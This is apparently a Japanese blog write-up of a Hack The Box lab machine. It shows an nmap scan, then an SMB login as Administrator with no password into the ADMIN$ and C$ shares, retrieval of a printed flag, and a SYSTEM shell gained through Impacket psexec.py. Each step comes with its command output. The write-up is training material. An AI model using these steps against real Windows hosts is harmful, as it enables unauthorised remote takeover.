偵察
今回はwindowsのセキュリティ設定ミスを悪用した攻撃手法について学ぶボックスである。
(root㉿kali)-[~]
# sudo nmap -Pn -sC 10.129.140.77
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-08 07:20 EDT
Nmap scan report for 10.129.140.77
Host is up (0.26s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
Host script results:
| smb2-time:
| date: 2025-08-08T11:20:54
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
Nmap done: 1 IP address (1 host up) scanned in 59.11 seconds
445(SMB):
microsoft-dsと表示されている、これはwindowsのファイル共有やディレクトリサービスに関係するものである。
一般的にディレクトリサービスというと・・・
より
ディレクトリサービス(ネームサービス)とは、ネットワークに接続した資源(リソース)を統一管理するためのサービスです。
だそうだ。
このサイトもめっちゃわかりやすい。
今回、対象となるWindowsServerはファイアーウォール(FW)が張ってあった。
pingを通すとFWが弾いてしまうので今回は-Pn
をつけた。これは全てのポートのホストがオンラインであるという仮定の元ポートスキャンをしてくれる。非常に便利なオプションである。
(nmapに感謝!!)
それぞれのポートでやっているサービスがいまいちよくわからないので調べてみる。
ポート135(msrpc
)
windowsアプリの間の通信をサポートしているRPCである。プロセス間の通信で非常に低レイヤである。Microsoftの基盤技術であるCOMおよび、DCOMテクノロジーは、RPCの上に構築されているそう。
svchost.exe
内で実行される。これはwindowsの主要なプロセスである。
ポート139(netbios-ssn
)
ここではOSI参照モデルのセッション層に関連するサービスを提供し、別々のコンピューター上のアプリがLAN内で通信できるようにー!!ってサービス。厳密に言うとサービスではなくAPIらしい。
netbiosはetwork Basic Input/Output Systemの略。
簡単に言うと、LAN内でOSI参照モデルのセッション層を通じてファイルやプリンタの共有を可能にするプロトコル(API)だと思えばいい。
ポート445( microsoft-ds
)
このポートはSMBで使用。SMBについての説明はわかってるので割愛(サイトは置いておく)
攻撃をしかけていく
順当に攻撃する。
ここでは利用可能な様々な共有を一覧表示(-L
)、Administrator
アカウントとしてログインを試みることにする。(標準に使われているアカウントなので・・・)
smbclient -L {target_IP} -U Administrator
ポチッとな
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.12]─[mukailabhtb3@htb-cffuetacfa]─[~]
└──╼ [★]$ smbclient -L 10.129.20.163 -U Administrator
Password for [WORKGROUP\Administrator]:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.20.163 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
このログから共有フォルダには目的の情報は取得出来ている。しかし、冒頭に$
がついている「隠し共有」である。こいつらは管理者権限がないとアクセス出来ない。
ここから2つの攻撃オプションをつけることができる。
・管理者権限でSmbclientを使いCドライブ直下に移動する方法。
smbclient \\\\{targetIP}\\ADMIN$ -U Administrator
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.12]─[mukailabhtb3@htb-cffuetacfa]─[~]
└──╼ [★]$ smbclient \\\\10.129.20.163\\ADMIN$ -U Administrator
Password for [WORKGROUP\Administrator]:
Try "help" to get a list of possible commands.
smb: \>
いけてしまった・・・!!
ここで面倒なのがUNCパスには馴染のない人もいるかもしれないということだ...。
僕はちなみにないので調べた...。
UNC 【Universal Naming Convention】
ここから今回は$ADMINファイルにいきたいので
\\コンピューター名(ホスト名)\\資源の共有名(共有フォルダの名前、$マークが冒頭についているファイル)
これで大丈夫である。
smbclient \\\\10.129.20.163\\C$ -U Administrator
次はCドライブ直下に行く
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.12]─[mukailabhtb3@htb-cffuetacfa]─[~]
└──╼ [★]$ smbclient \\\\10.129.20.163\\C$ -U Administrator
Password for [WORKGROUP\Administrator]:
Try "help" to get a list of possible commands.
smb: \> cd Users\Administrator\Desktop
smb: \Users\Administrator\Desktop\> dir
. DR 0 Thu Apr 22 02:16:03 2021
.. DR 0 Thu Apr 22 02:16:03 2021
desktop.ini AHS 282 Wed Apr 21 10:23:32 2021
flag.txt A 32 Fri Apr 23 04:39:00 2021
3774463 blocks of size 4096. 1158531 blocks available
─[eu-starting-point-vip-1-dhcp]─[10.10.14.12]─[mukailabhtb3@htb-cffuetacfa]─[~]
└──╼ [★]$ smbclient \\\\10.129.20.163\\C$ -U Administrator
Password for [WORKGROUP\Administrator]:
Try "help" to get a list of possible commands.
smb: \> cd Users\Administrator\Desktop
smb: \Users\Administrator\Desktop\> dir
. DR 0 Thu Apr 22 02:16:03 2021
.. DR 0 Thu Apr 22 02:16:03 2021
desktop.ini AHS 282 Wed Apr 21 10:23:32 2021
flag.txt A 32 Fri Apr 23 04:39:00 2021
3774463 blocks of size 4096. 1158531 blocks available
smb: \Users\Administrator\Desktop\> get flag.txt
getting file \Users\Administrator\Desktop\flag.txt of size 32 as flag.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
smb: \Users\Administrator\Desktop\> exit
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.12]─[mukailabhtb3@htb-cffuetacfa]─[~]
└──╼ [★]$ cat flag.txt
f751c19eda8f61ce81827e6930a1f40c
やったーーー!!
getコマンドでflag
を取得し、cat
コマンドで閲覧することが出来た。
Impacket使う方法もあるそうだ。
・ImpacketのPsexec.py
を使う方法。これにはImpacketのインストール、一般的なアタックサーフェイスの悪用、かなり痛手になるがフィンガープリンティングが伴う。
本来のPsExec
はMicrosoftが提供するポータブルツールであり、任意のユーザーの認証情報を利用してリモートでプロセスを実行できる。
しかし、Impacketはランダムな名前の実行可能ファイルをリモートシステムの**ADMIN$**共有にアップロードし、それをWindowsサービスとして登録することで、リモートサービスとして登録する。
こうすることでTCP445を介してリモートのWindowsシステム上で対話型のシェルが利用可能になる。
こいつからDLするかー
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.12]─[mukailabhtb3@htb-cffuetacfa]─[~/impacket]
└──╼ [★]$ python3 examples/psexec.py administrator@10.129.20.163
Impacket v0.13.0.dev0+20250814.3907.9282c9bb - Copyright Fortra, LLC and its affiliated companies
Password:
[*] Requesting shares on 10.129.20.163.....
[*] Found writable share ADMIN$
[*] Uploading file rfKansoJ.exe
[*] Opening SVCManager on 10.129.20.163.....
[*] Creating service owlf on 10.129.20.163.....
[*] Starting service owlf.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
NT Authority/System
から管理者ユーザーであるとわかる。
しかしこの方法の場合、テスト環境のみで通用する場合がある。
実際にはWindows Defenderが用意に検知することがあるからだ。
あとはファイルシステムをポチポチしてればいける。
参考文献(参照日2025年8月8日)
・公式Writeup